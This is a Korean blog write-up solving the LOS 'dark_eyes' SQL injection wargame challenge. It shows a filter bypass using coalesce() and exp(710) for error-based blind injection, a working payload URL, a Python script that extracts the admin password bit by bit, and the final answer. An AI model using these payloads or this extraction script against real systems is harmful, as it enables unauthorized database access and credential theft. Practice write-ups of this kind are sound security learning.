반응형

문제에 접근해보면 아래와 같이 에러가 발생했을 때 exit() 함수를 호출하는 것을 볼 수 있다.


if(mysqli_error($db)) exit();


그 결과 에러가 발생하면 화면상에 아무것도 출력되지 않는다. 따라서 이를 이용하여 Error based sql injection을 진행할 수 있다.


에러를 발생시키는 것은 이전 포스팅에서 활용한 exp(710) 을 활용하였다.

하지만 조건문에 활용할 수 있는 if문과 case 문이 필터링되어 있어 어떤 식으로 진행할까 하다가 coalesce() 함수를 활용할 수 있음을 확인하였다.



해당 함수는 여러 개의 값을 넣고 첫번째로 null이 아닌 값을 리턴하는 함수임을 알 수 있다. 따라서 첫번째 값인 부분에 SQL 쿼리를 삽입하여 where 조건문으로 조건에 맞지 않는다면 null을 리턴하도록 할 수 있다.


참고 ) https://www.w3schools.com/sql/func_mysql_coalesce.asp


아래는 해당 구문을 이용하여 pw의 길이가 8자임을 확인한 구문이다.


https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=1%27+or+id=%27admin%27+and+coalesce((select+1+where+length(pw)=8),exp(710))--+


length(pw)가 8이기 때문에 select 1이 동작하여 null이 아닌 1이 출력되었고 때문에 exp(710)이 실행되지 않아 문제 화면이 정상적으로 출력된다.



이제 길이를 확인하였으니 아래의 Python 코드를 이용하여 답을 추출해보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import urllib2
 
silnex=''
 
url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
 
for chr_l in range(1,9):
    binary=''
    for bin_l in range(1,8):
        param="?pw=1%27+or+id=%27admin%27+and+coalesce((select+1+where+1=mid(lpad(bin(ord(mid(pw,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)),exp(710))--+"
 
        req=urllib2.Request(url+param)
        req.add_header('cookie','PHPSESSID=bhurps2s2o83m5qc9cda7aa71m')
        if 'config.php' in urllib2.urlopen(req).read():
            binary+='1'
        else:
            binary+='0'
        
        print binary
 
    silnex = silnex+('%x' % int(binary, 2)).decode('hex')
    print "[+] " + silnex
 
print "[+]Flag : " + silnex
 
cs


답 : https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=5a2f5d3c

반응형

'Solve Problem > LOS' 카테고리의 다른 글

[LOS] EVIL_WIZARD 문제 풀이  (0) 2019.06.09
[LOS] hell_fire 문제 풀이  (0) 2019.06.09
[LOS] iron_golem 문제풀이  (0) 2019.05.26
[LOS] 문제풀이 11번 - 20번  (0) 2019.05.26
[LOS] 문제풀이 1번 - 10번  (0) 2019.05.10
블로그 이미지

rootable

,